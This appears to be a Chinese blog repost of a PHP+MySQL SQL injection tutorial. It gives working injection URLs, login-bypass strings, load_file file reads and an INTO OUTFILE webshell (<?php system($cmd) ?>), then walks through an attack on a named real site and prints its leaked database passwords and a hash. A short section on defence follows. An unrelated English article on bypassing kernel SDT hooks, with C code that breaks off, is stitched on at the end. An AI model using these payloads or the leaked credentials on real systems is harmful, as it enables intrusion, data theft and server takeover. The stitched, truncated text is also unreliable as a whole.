上面讲的是在不通的表里面猜测内容,如果在同一个表里面我们还可以像下面这样哩:
下面的一段代码根据用户id显示用户信息

<?php
//user.php
………..
$sql = “SELECT * FROM user WHERE id=$id”;
…………

if (!$result)
{
echo “wrong”;
exit;
}
else
echo “用户信息”;
?>

猜测方法和上面几乎是一样的,就是我们不用再用select了。
我们输入
http://localhost/user.php?id=1 and length(password)=7
显示用户信息说明我们猜的正确,呵呵,comeon

http://localhost/user.php?id=1 and ascii(mid(password,1,1))=97
第一位密码
http://localhost/user.php?id=1 and ascii(mid(password,2,1))=97
第二位哦,

通过这种方法最终我们也可以得出id=1的用户的账号密码

2.    下面我们来看看字符型的注入方式
在asp中字符型的注入方式很灵活,在php中字符型的注入就主要在
magic_quotes_gpc=Off的情况下进行了。(除非有另外一种情况,先不告诉你)

例如:
<?php
//display.php
……
$query=”select * from alphadb where id=’”.$id.”’”;
…………..
?>
这样id就变成字符型的了。
不知道大家发现没有,假如我们这样写程序的话,安全性会有所提高的哦
    呵呵,继续了
好我们检验是否有注入先
http://localhost/site/display.php?id=451′ and 1=1 and ‘’=’
http://localhost/site/display.php?id=451′ and 1=2 and ‘’=’
带入到sql语句里就是
select * from alphadb where id=’451’and 1=1 and ‘’=’’
select * from alphadb where id=’451’and 1=2 and ‘’=’’

如果你发现页面信息不同的话说明漏洞存在哦
或者
http://localhost/site/display.php?id=451′ and 1=1 %23
http://localhost/site/display.php?id=451′ and 1=2 %23
%23转化以后就是#,即注释的意思,上面说过了哦
这样的话就不用考虑那个引号的闭合问题了,实际很多时候我们推荐这种方法。
把它带入到sql语句里就成了
select * from alphadb where id=’451’and 1=1 #’
正是我们想要的哦!
看看效果吧,
http://localhost/site/display.php?id=451′ and 1=1 %23
图(14)

正常显示了呓!

http://localhost/site/display.php?id=451′ and 1=2 %23
图(15)


显示不正常,哈哈,说明问题存在
我们继续哦:
http://localhost/site/display.php?id=451’%20and%201=2%20%20union%20select%201,username,password,4,5,6,7,8,9,10,11%20from%20alphaauthor%23

看图(16)

Ok,用户名和密码又出来了哦!
3.    大家一起来看看搜索型注入吧
搜索型的语句一般这样写
<?php
//search.php
……
$query=”select * from alphadb where title like ‘%$title%’;
…………..
?>
不知道大家还是否记得asp里的注入呢?
不过不记得也没有关系的啦,我们看吧。
我们构建注入语句吧
在输入框输入
a%’ and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from alphaauthor#放到sql语句中成了

select * from alphadb where title like ‘%a%’ and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from alphaauthor# %’
结果如图17哦

怎么样,出来了吧,哈哈,一切尽在掌握之中。

C:下面我们从注入地点上在来看一下各种注入攻击方式
1)    首先来看看后台登陆哦
代码先
<?php
//login.php
…….
$query=”select * from alphaauthor where UserName=’”
.$HTTP_POST_VARS["UserName"].”‘ and
Password=’”. $HTTP_POST_VARS["Password"].”‘”;
$result=mysql_query($query);
$data=mysql_fetch_array($result);
if ($data)
{
echo “后台登陆成功”;
}
esle
{
echo “重新登陆”;
exit;


………
?>
Username和password没有经过任何处理直接放到sql中执行了。
看看我们怎么绕过呢?
最经典的还是那个:
在用户名和密码框里都输入
‘or’’=’
带入sql语句中成了
select * from alphaauthor where UserName=’’or’’=’’ and Password=’’or’’=’’
这样带入得到的$data肯定为真,也就是我们成功登陆了。
还有其他的绕过方法,原理是一样的,就是想办法让$data返回是真就可以了。
我们可以用下面的这些中方法哦
1.
用户名和密码都输入’or’a’=’a
Sql成了
select * from alphaauthor where UserName=’’or’a’=’a’ and Password=’’or’a’=’a’

2.
用户名和密码都输入’or 1=1 and ‘’=’
Sql成了
select * from alphaauthor where UserName=’ ’or 1=1 and ‘’=’’ and Password=’ ’or 1=1 and ‘’=’’
用户名和密码都输入’or 2>1 and ‘’=’
Sql成了
select * from alphaauthor where UserName=’ ’or 2>1 and ‘’=’’ and Password=’ ’or 2>1 and ‘’=’’

3.
用户名输入’or 1=1 # 密码随便输入
Sql成了
select * from alphaauthor where UserName=’ ’or 1=1 # and Password=’anything’
后面部分被注释掉了,当然返回还是真哦。
        4.
假设admin的id=1的话你也可以

用户名输入’or id=1 # 密码随便输入
Sql成了
select * from alphaauthor where UserName=’ ’or id=1 # and Password=’anything’
如图18

看看效果图19


怎么样?直接登陆了哦!

俗话说的好,只有想不到没有做不到。
还有更多的构造方法等着课后自己想啦。

2)第二个常用注入的地方应该算是前台资料显示的地方了。
上面已经多次提到了呀,而且涉及了数字型,字符型等等,这里就不再重复了哈。
只是举个例子回顾一下
碧海潮声下载站 – v2.0.3 lite有注入漏洞,代码就不再列出来了
直接看结果
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20dl_users

如图20

看看,我们又得到我们想要的了
用户名alpha
密码一长串。
为什么我们要把password放在3字段处,把username放在5字段处了,我们上面已经提过了哦,就是我们猜测3和5段显示的应该是字符串型,而与我们要显示的username和password的字段类型应该相同,所以我们这样放了哦。
为什么要用18个字段呢?不知道大家还是否记得在union select介绍那里我们提到union必须要求前后select的字段数相同,我们可以通过增加select的个数来猜测到需要18个字段,只有这样union select的内容才会正常显示哦!
3)其它如资料修改,用户注册的地方主要得有用户等级的应用。
我们在上面讲述update和insert的时候都已经讲到,因为不是很常用,这里就不再阐述,在下面将会提到一些关于update和insert的高级利用技巧。
二:下面将要进入magic_quotes_gpc=On时候的注入攻击教学环节了
    当magic_quotes_gpc=On的时候,交的变量中所有的 ‘ (单引号),
“ (双引号), \ (反斜线) 和 空字符会自动转为含有反斜线的转义字符。
    这就使字符型注入的方法化为泡影,这时候我们就只能注入数字型且没有
Intval()处理的情况了,数字型的我们已经讲了很多了是吧,由于数字型没有用到单引号自然就没有绕过的问题了,对于这种情况我们直接注入就可以了。
1)假如是字符型的就必须得像下面这个样子,没有在字符上加引号 。
    
这里我们要用到一些字符串处理函数先,
字符串处理函数有很多,这里我们主要讲下面的几个,具体可以参照mysql中文参考手册7.4.10。
    
    char() 将参数解释为整数并且返回由这些整数的ASCII代码字符组成的一个字符串。
当然你也可以用字符的16进制来代替字符,这样也可以的,方法就是在16进制前面加0x,看下面的例子就明白了。

    <?php
    //login.php
    ……
$query=”select * from “.$art_system_db_table['user'].”
where UserName=$username and Password=’”.$Pw.”‘”;
……
?>

假设我们知道后台的用户名是alpha
转化成ASCII后是char(97,108,112,104,97)
转化成16进制是0×616C706861
(我们将在光盘中提供16进制和ascii转换工具)
好了直接在浏览器里输入:

http://localhost/site/admin/login.php?username=char(97,108,112,104,97)%23
sql语句变成:

select * from alphaAuthor where UserName=char(97,108,112,104,97)# and Password=”
如图21

    正如我们期望的那样,他顺利执行了,我们得到我们想要的。
    当然咯,我们也可以这样构造
http://localhost/site/admin/login.php?username=0×616C706861%23
sql语句变成:
select * from alphaAuthor where UserName=0×616C706861%23# and Password=”
我们再一次是成功者了。很有成就感吧,

或许你会问我们是否可以把#也放在char()里
实际上char(97,108,112,104,97)相当于’alpha’
注意是alpha上加引号,表示alpha字符串。
我们知道在mysql中如果执行

mysql> select * from dl_users where username=alpha;
ERROR 1054 (42S22): Unknown column ‘alpha’ in ‘where clause’
看返回错误了。因为他会认为alpha是一个变量。所以我们得在alpha上加引号。
如下
mysql> select * from dl_users where username=’alpha’;
这样才是正确的。
如果你把#号也放到那里去了,就成了’alpha#’
带入sql语句中
select * from dl_users where username=’alpha#’;
当然是什么也没有了,因为连alpha#这个用户都没有。
好,下面我们再来看个例子,

<?php
    //display.php
    ……
$query=”select * from “.$art_system_db_table['article'].”
where type=$type;
……
?>

代码根据类型来显示内容,$type没有任何过滤,且没有加引号放入程序中。
假设type中含有xiaohua类,xiaohua的char()转换后是
char(120,105,97,111,104,117,97)

我们构建
http://localhost/display.php?type=char(120,105,97,111,104,117,97)
and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from
alphaauthor
带入sql语句中为:
select * from “.$art_system_db_table['article'].”
where type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor
看看,我们的用户名和密码照样出来了哦!没有截图,想像一下咯:P

2)    或许有人会问,在magic_quotes_gpc=On的情况下功能强大的load_file()还能不能用呢?
这正是我们下面要将的问题了,load_file()的使用格式是load_file(‘文件路径’)
我们发现只要把‘文件路径’转化成char()就可以了。试试看哦
load_file(‘c:/boot.ini’)转化成
load_file(char(99,58,47,98,111,111,116,46,105,110,105))
图22

    放到具体注入里就是
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,load_file(char(99,58,47,98,111,111,116,46,105,110,105)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18

看图23

    看看,我们看到了boot.ini的内容了哦。
很可惜的是into outfile’’ 不能绕过,不然就更爽了。但是还是有一个地方可以使用select * from table into outfile’’ 那就是….(先卖个关子,下面会告诉你)
三:一些注入技巧,很多都是个人发现哦
1.union select的技巧
UNION 用于将多个 SELECT 语句的结果联合到一个结果集中。在 SELECT 中的 select_expression 部分列出的列必须具有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。
然而有我们可以用下面的方法来猜测列的类型,可是省去很多时间
我们先
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
图24

看看软件描述里写着3,作者里写着4,我们就可以猜测3和4的位置是字符型的,我们再看14前面的是下载次数,这就应该是int型的了,对吧。
好了,我们根据这里来构建吧,估计username和password也是字符型的。
试试看哦
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20dl_users

如图25

哈哈,这种方法只要看看就可以大概猜到了。
2.load_file读写文件的技巧
不知道你有没有发现过在我们用load_file()读写php文件时不能在网页中显示。例如:
‘C:/apache/htdocs/site/lib/sql.inc.php’转化为16进制为:0×433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870
我们构造如下
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file(0×433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8,9,10,11

如图26

发现在文章内容的地方本来该显示sql.inc.php的,可是却空空之,为何呢?
我们看看网页的源代码先
图27

哈哈,看看标记的地方,晕死,原来在这里啊,可是为什么哩?
原来html中< >用于标注,哈哈,明白了吧!下次可得记得在哪里找哦。
4.    md5的恶梦
山东大学的王博士最近可是搞md5搞的红透了,我们也来搞一搞吧,我们比他更爽,不用计算,哈哈。
md5我们是有办法绕过的,但是并不是哪里都可以,php中的md5函数就不能绕过,因为你输入的所有东西都在里面,根本跑不出。可以绕过的是sql语句中的md5。当然别的sql中的函数也是可以绕过的,道理相同哦。
看例子先:
<?php
//login.php
……
$query=”select * from alphaauthor where UserName=md5($username) and Password=’”.$Pw.”‘”;
……
?>
我们直接在浏览器提交
http:/login.php?username=char(97,98)) or 1=1 %23
带入sql语句成为select * from alphaauthor where UserName=md5(char(97,98)) or 1=1 #) and Password=’”.$Pw.”‘
记得md5里面放的是字符,因为后面有or 1=2,所以我们随便放了个char(97,98).    Ok,登陆成功了哦!看看,md5在我们面前也没有什么用处。
5.    核心技术,利用php+mysql注入漏洞直接写入webshell。。
直接利用注入得到webshell,这应该是大家都很想的吧,下面就教给你。
这里假设你已经知道了网站所在的物理路径,我这里假设网站路径为c:/apache/htdocs/site。网站的mysql连接信息放在/lib/sql.inc.php里
1)适用于magic_quotes_gpc=Off
假设我们可以上传图片,或者txt,zip,等其它东西,我们把我们的木马改成
jpg后缀的,上传后路径为/upload/2004091201.jpg
2004091201.jpg中的内容为 <?php system($cmd) ?>
好,
我们开始http://localhost/site/display.php?id=451%20and%201=2%20%20union%
20select%201,2,load_file(‘C:/apache/htdocs/site/upload/2004091201.jpg’),4,5,6,7,8,9,10,11%20into%20outfile’C:/apache/htdocs/site/shell.php’

因为适用了outfile,所以网页显示不正常,但是我们的任务是完成了。
如图28
我们赶快去看看http://localhost/site/shell.php?cmd=dir
如图29

爽否?Webshell我们已经创建成功了。看到最前面的12了没?那就是我们select 1,2所输出的!
2)下面再讲一个适用于magic_quotes_gpc=On的时候保存webshell的方法哦,显然肯定也能用在于magic_quotes_gpc=Off的时候啦。
我们直接读他的配置文件,用技巧2介绍的方法
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file(0×433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8,9,10,11

得到sql.inc.php内容为
<?$connect=@mysql_connect(“localhost”,”root”,”")
or  die(“Unable  to  connect  to  SQL  server”);mysql_select_db(“alpha”,$connect)
or  die(“Unable  to  select  database”);?>
好了我们知道了mysql的root密码了,我们找到phpmyadmin的后台
http://localhost/phpmyadmin/
用root密码为空登陆。
如图30
然后我们新建立一个表结构内容如下:

#
# 数据表的结构 `te`
#
CREATE TABLE te (
  cmd text NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

#
# 导出下面的数据库内容 `te`
#
INSERT INTO te VALUES (‘<?php system($cmd) ?>’);
Ok,是我们用select * from table into outfile’’的时候了
直接在phpmyadmin的sql输入
SELECT * FROM `te` into outfile ‘C:/apache/htdocs/site/cmd1.php’;
如图31

Ok,成功执行,我们去http://localhost/site/cmd1.php?cmd=dir看看效果去
如图32

好爽的一个webshell是吧!哈哈,我也很喜欢。

过不知道大家有没有发现我们是在magic_quotes_gpc=On的情况下完成这项工作的,竟然在phpmyadmin里可以不用考虑引号的限制,
哈哈,说明什么?说明phpmyadmin太伟大了,这也就是我们在谈magic_quotes_gpc=On绕过时所卖的那个关子啦!
6.发现没有我们还可以利用update和insert来插入我们的数据,然后来得到我们的webshell哦,还用上面的那个例子,
<?php
//reg.php
……
$query = “INSERT INTO members
VALUES(‘$id’,'$login’,'$pass’,'$email’,’2′)” ;
……
?>
我们在email的地方输入<?php system($cmd) ?>
假设我们注册后的id为10
那么我们可以再找到一个可以注入的地方
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,email,4,5,6,7,8,9,10,11%20from%20user%20where%20id=10%20
into%20outfile’C:/apache/htdocs/site/test.php’
好了,我们又有了我们的wenshell了哦。
7.mysql的跨库查询
大家是不是一直听说mysql不能跨库查询啊,哈哈,今天我将要教大家一个好方法,通过这个方法来实现变相的跨库查询,方法就是通过load_file来直接读出mysql中data文件夹下的文件内容,从而实现变态跨库查询。
举个例子啦
在这之前我们先讲一下mysql的data文件夹下的结构
Data文件夹下有按数据库名生成的文件夹,文件夹下按照表名生成三个后缀为frm,myd,myi的三个文件,例如
Mysql中有alpha数据库,在alpha库中有alphaauthor和alphadb两个表,
Alpha文件夹内容如下图33

其中alphadb.frm放着lphadb表中的数据,alphadb.frm放着表的结构,alphadb.myi中放的内容随mysql的版本不通会有所不同,具体可以自己用记事本打开来判断。
实验开始
假设我们知道有另外的一个数据库yminfo210存在,且存在表user,user中放这admin的信息。
我们
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file(‘yminfo210/user.myd’),4,5,6,7,8,9,10,11

说明一下,load_file默认所在的目录是mysql下的data目录,所以我们用
load_file(‘yminfo210/user.myd’),当然load_file(‘.info210/user.myd’)也是一样的,注意的是into outfile的默认路径是在所在的数据库文件夹下。

结果如图34

我们看读出来的内容
舼��?  
admin 698d51a19d8a121ce581499d7b701668 admin@yoursite.comadmin question
admin
answer  http://www.yoursite.com  (?靃?KA靃?靃?  127.0.0.1  d|?�?  aaa
3dbe00a167653a1aaee01d93e77e730e sdf@sd.com sdfasdfsdfa asdfadfasd  
?E麷AM麷A 127.0.0.1 222  222222223423
虽然乱码一堆,但是我们还是可以看出用户名是admin,密码是698d51a19d8a121ce581499d7b701668,后面其它的是另外的信息。
通过这种方法我们就实现了曲线跨库,下面的例子中也会提到哦!

说了这么多下面我们来具体的使用一次,这次测试的对象是国内一著名安全类站点――黑白网络
听人家说黑白有漏洞?我们一起去看看吧。
http://www.heibai.net/down/show.php?id=5403%20and%201=1
正常显示。
如图35

http://www.heibai.net/down/show.php?id=5403%20and%201=2
显示不正常。
如图36

好,我们继续
http://www.heibai.net/down/show.php?id=5403%20and%201=1 union select 1
显示结果如下
如图37

注意看图中没有显示程序名,而且还附带了
Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in D:\web\heibai\down\show.php on line 45

Warning:
mysql_fetch_array(): supplied argument is not a valid MySQL result
resource in D:\web\heibai\down\global.php on line 578

晕了,网站路径出来了,那可就死定了哦!
我们继续,直到我们猜到
http://www.heibai.net/down/show.php?id=5403%20and%201=1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
的时候正常显示了。
如图38

好我们转换语句成为
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
显示如图39

看看简介处显示为12,我们可以猜测此处应该为字符型!
Ok,我们下面看看文件内容先
D:/web/heibai/down/show.php转化成ascii后为
char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,115,104,111,119,46,112,104,112)
我们
view-source:http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,115,104,111,119,46,112,104,112)),13,14,15,16,17,18,19

view-source:是指察看源代码,至于为什么用,我们后面将讲到
显示出它的源代码
如图40

因为在show.php中有一句
<META HTTP-EQUIV=REFRESH CONTENT=’0;URL=list.php’>
如果我们直接在浏览器里提交会跳转到list.php
我们发现这句require (“./include/config.inc.php”);
好东西,应该放这配置文件,ok继续
d:/web/heibai/down/include/config.inc.php

化成char
(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)

我们输入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)),13,14,15,16,17,18,19

显示结果如图41

里面内容主要有
…………………..
ymDown (夜猫下载系统) 是一个应用于网站提供下载服务的的程序
// ————————- ——– ————————- //
//                           常规设置                           //
// ————————- ——– ————————- //


// 数据库信息
$dbhost = “localhost”; // 数据库主机名
$dbuser = “download”;// 数据库用户名
$dbpasswd = “kunstar988″; // 数据库密码
$dbname = “download”; // 数据库名

// Cookie 名称
$cookie_name = “heibai”;
// 版本号
$version = “1.0.1″;

// 数据表名
$down_table = ymdown;
$down_user_table = ymdown_user;
$down_sort1_table = ymdown_sort1;
$down_sort2_table = ymdown_sort2;
晕原来用的是夜猫的下载系统,而且我们知道了
$dbuser = “download”;// 数据库用户名
$dbpasswd = “kunstar988″; // 数据库密码
说不定呆会有用哦。
用的表名是默认的表名,我们知道夜猫的管理员密码放在ymdown_user中

们继续http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%
20select%201,2,3,username,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19
from ymdown_user
结果如图42

根据提示我们知道文件大小处的是username,应用平台处的是password(对照图36)
即username=dload,password=6558428,夜猫的后台默认在admin目录下,我试验了很久都没有找到,晕之。
想直接连接mysql,发现telnet端口并没有开放。我们去看看别的吧!
http://www.heibai.net/vip/article/login.php
看起来像是会员的登陆哦,我们看看先
d:/web/heibai/vip/article/login.php

化成char
(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,108,111,103,105,110,46,112,104,112)

我们输入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,108,111,103,105,110,46,112,104,112)),13,14,15,16,17,18,19

结果如图43:

其中
require (“./include/global.php”);
require (“./include/config.inc.php”);
require (“./mainfunction.php”);
require (“./function.php”);
当然了,我们去看config.inc.php吧
d:/web/heibai/vip/article/include/config.inc.php

成char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)

输入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)),13,14,15,16,17,18,19

结果如图44

显示了很多好东西哦

$dbhost = “localhost”; // 数据库主机名
$dbuser = “root”; // 数据库用户名
$dbpass = “234ytr8ut”; // 数据库密码
$dbname = “article”; // 数据库名
$ymcms_user_table = “user”;
$ymcms_usergroup_table = “usergroup”;
$ymcms_userrace_table = “userrace”;
表还是默认的表,而且出来了root的密码
要是能连上它的mysql该多好啊,那样我们就可以into outfile了
痛苦的找了找phpmyadmin,没有找见,或许根本就没有用。
读c:/winnt/php.ini发现
; Magic quotes
;
; Magic quotes for incoming GET/POST/Cookie data.
magic_quotes_gpc = On
55555555,痛苦中,我们看看能不能搞几个会员账号
猜测会员账号放在user表中,我们直接读data下article文件夹里的user.myd文件
Article/user.myd转换成
char(97,114,116,105,99,108,101,47,117,115,101,114,46,109,121,100)
我们输入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(97,114,116,105,99,108,101,47,117,115,101,114,46,109,121,100)),13,14,15,16,17,18,19

结果如图45:

晕了,竟然没有返回。我们来读Article/user.frm
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(97,114,116,105,99,108,101,47,117,115,101,114,46,102,114,109)),13,14,15,16,17,18,19

结果如图46

晕了,表结构都在,而且读Article/user.myi时也成功,可是为什么Article/user.myd读不出来呢?要是magic_quotes_gpc=Off我们还可以into outfile来看看,可是……
郁闷中,测试就这样结束吧,下面的工作还是留给你们来完成吧!
文中所述问题已经通知星坤了!
四:php+mysql注入的防范方法。
在上一期的专题里已经讲了很多的防范方法,这里我就主要讲一下php+mysql注射攻击的防范方法。
大家看到,在magic_quotes_gpc=On的时候,很多的注射攻击已经没有作用了。
我们可以利用这个来加固我们的程序。Addslashes()函数等同于magic_quotes_gpc=On,而且与magic_quotes_gpc=On也不冲突,我们可以这样过滤
$username = addslashes($username);
$query=”SELECT * FROM users WHERE userid=’$username’”);
对于id型我们可以利用intval()函数,intval()函数可以将变量转换成整数类型,这样就可以了。
我们可以这样
$id = intval($id);
$query=”SELECT * FROM alphadb WHERE articleid=’$id’”);
如果是字符型的呢?
我们可以先用addslashes()过滤一下,然后再过滤”%”和”_”.
例如:
$search = addslashes($search);
$search = str_replace(“_”,”\_”,$search);
$search = str_replace(“%”,”\%”,$search);
记得,可千万别在magic_quotes_gpc=On的情况下替换\为\\,如下:
$password=str_replace(“\\”,”\\\\”,$password);
我记得在darkness的文章《对某PHP站点的一次渗透》中提到过这个问题(在光盘中有收录)。
还有的就是登陆的地方,如果是只用一个管理员管理的话,我们可以直接对username和passwd用md5加密,这样就不用害怕注入技术的发展了。
Username=md5($HTTP_POST_VARS["username"]);
Passwd=md5($HTTP_POST_VARS["passwd"]);
我的后台登陆就是这样子的哦。

2005年02月09日

注:终于有幸进了华为,感受到了很多.
<华为的冬天>和<我的父亲母亲>都是任总的
个人魅力的体现.放到BLOG里面以自勉
———-ZwelL



http://www.donews.com/donews/article/5/55943.html

A more stable way to locate real KiServiceTable
By: 90210Tan
Chew Keong in his Win2K/XP SDT Restore 0.1 uses a simple way to find
changed SDT entries – he just compares SDT from memory with SDT from
ntoskrnl.exe file, assuming that KeServiceDescriptorTable.Base is not
changed. If it is, Tan’s code that locates KiServiceTable on disk will
fail when KeServiceDescriptorTable.Base points somewhere outside the
ntoskrnl.

I’ve found a way how to locate original
KiServiceTable in the ntoskrnl file even if
KeServiceDescriptorTable.Base has been changed. Method works both in
the user mode and in the kmode.



This may be useful to bypass SDT-patching hooks, and not only to restore old SDT. For example, KAV uses SDT relocation ;)

KeServiceDescriptorTable is initialized by KiInitSystem():



    KeServiceDescriptorTable[0].Base = &KiServiceTable[0];
    KeServiceDescriptorTable[0].Count = NULL;
    KeServiceDescriptorTable[0].Limit = KiServiceLimit;
    KeServiceDescriptorTable[0].Number = &KiArgumentTable[0];
    for (Index = 1; Index < NUMBER_SERVICE_TABLES; Index += 1) {
        KeServiceDescriptorTable[Index].Limit = 0;
    }



Thus, we can find KiServiceTable by examining all xrefs to KeServiceDescriptorTable in the kernel. We will search for



C7 05 ..8 bytes..   mov     ds:_KeServiceDescriptorTable.Base, offset _KiServiceTable



from which we will get _KiServiceTable rva.


It’s easy to find KeServiceDescriptorTable xrefs by scanning the code,
but this is dangerous and time-consuming. It’s better to use ntoskrnl’s
relocation information – it is always present in all nt systems.

This “mov [mem32], imm32″ instruction will have 2 relocs pointing in
it, and the second is the one we’re searching for. So, the usermode
code will do these steps:

1. Load ntosknrl as a dll.
2. Locate KeServiceDescriptorTable – it is exported.
3. Enumerate all relocations to find xrefs to the KeServiceDescriptorTable.
4. Check these opcodes to be a “mov [mem32],imm32″.
5. Get KiServiceTable – it’s offset is +6 from the opcode beginning.

The example code dumps KiServiceTable data from file and does no comparings with the existing sdt.


So, it’s a must to a SDT-patching rootkit to hook file system and show
“patched” version of ntoskrnl to all readers. And of course, services
hooks code must reside in the ntoskrnl region and have no codepaths
outside it. Otherwise it may be tracked in seconds.



#include <windows.h>
#include <winnt.h>
#include <stdio.h>

#define RVATOVA(base,offset) ((PVOID)((DWORD)(base)+(DWORD)(offset)))
#define ibaseDD *(PDWORD)&ibase
#define STATUS_INFO_LENGTH_MISMATCH      ((NTSTATUS)0xC0000004L)
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

typedef struct {
    WORD    offset:12;
    WORD    type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;


typedef LONG NTSTATUS;

#ifdef __cplusplus
extern "C" {
#endif

NTSTATUS
WINAPI
NtQuerySystemInformation(    
    DWORD    SystemInformationClass,
    PVOID    SystemInformation,
    ULONG    SystemInformationLength,
    PULONG    ReturnLength
    );

#ifdef __cplusplus
}
#endif

typedef struct _SYSTEM_MODULE_INFORMATION {//Information Class 11
    ULONG    Reserved[2];
    PVOID    Base;
    ULONG    Size;
    ULONG    Flags;
    USHORT    Index;
    USHORT    Unknown;
    USHORT    LoadCount;
    USHORT    ModuleNameOffset;
    CHAR    ImageName[256];
}SYSTEM_MODULE_INFORMATION,*PSYSTEM_MODULE_INFORMATION;

typedef struct {
    DWORD    dwNumberOfModules;
    SYSTEM_MODULE_INFORMATION    smi;
} MODULES, *PMODULES;

#define    SystemModuleInformation    11

DWORD GetHeaders(PCHAR ibase,
                PIMAGE_FILE_HEADER *pfh,
                PIMAGE_OPTIONAL_HEADER *poh,
                PIMAGE_SECTION_HEADER *psh)

{
    PIMAGE_DOS_HEADER mzhead=(PIMAGE_DOS_HEADER)ibase;
    
    if    ((mzhead->e_magic!=IMAGE_DOS_SIGNATURE) ||        
        (ibaseDD[mzhead->e_lfanew]!=IMAGE_NT_SIGNATURE))
        return FALSE;
    
    *pfh=(PIMAGE_FILE_HEADER)&ibase[mzhead->e_lfanew];
    if (((PIMAGE_NT_HEADERS)*pfh)->Signature!=IMAGE_NT_SIGNATURE) 
        return FALSE;
    *pfh=(PIMAGE_FILE_HEADER)((PBYTE)*pfh+sizeof(IMAGE_NT_SIGNATURE));
    
    *poh=(PIMAGE_OPTIONAL_HEADER)((PBYTE)*pfh+sizeof(IMAGE_FILE_HEADER));
    if ((*poh)->Magic!=IMAGE_NT_OPTIONAL_HDR32_MAGIC)
        return FALSE;
    
    *psh=(PIMAGE_SECTION_HEADER)((PBYTE)*poh+sizeof(IMAGE_OPTIONAL_HEADER));
    return TRUE;
}


DWORD FindKiServiceTable(HMODULE hModule,DWORD dwKSDT)
{
    PIMAGE_FILE_HEADER    pfh;
    PIMAGE_OPTIONAL_HEADER    poh;
    PIMAGE_SECTION_HEADER    psh;
    PIMAGE_BASE_RELOCATION    pbr;
    PIMAGE_FIXUP_ENTRY    pfe;    
    
    DWORD    dwFixups=0,i,dwPointerRva,dwPointsToRva,dwKiServiceTable;
    BOOL    bFirstChunk;

    GetHeaders((PBYTE)hModule,&pfh,&poh,&psh);

    // loop thru relocs to speed up the search
    if ((poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) &&
        (!((pfh->Characteristics)&IMAGE_FILE_RELOCS_STRIPPED))) {
        
        pbr=(PIMAGE_BASE_RELOCATION)RVATOVA(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress,hModule);

        bFirstChunk=TRUE;
        // 1st IMAGE_BASE_RELOCATION.VirtualAddress of ntoskrnl is 0
        while (bFirstChunk || pbr->VirtualAddress) {
            bFirstChunk=FALSE;

            pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION));

            for (i=0;i<(pbr->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))>>1;i++,pfe++) {
                if (pfe->type==IMAGE_REL_BASED_HIGHLOW) {
                    dwFixups++;
                    dwPointerRva=pbr->VirtualAddress+pfe->offset;
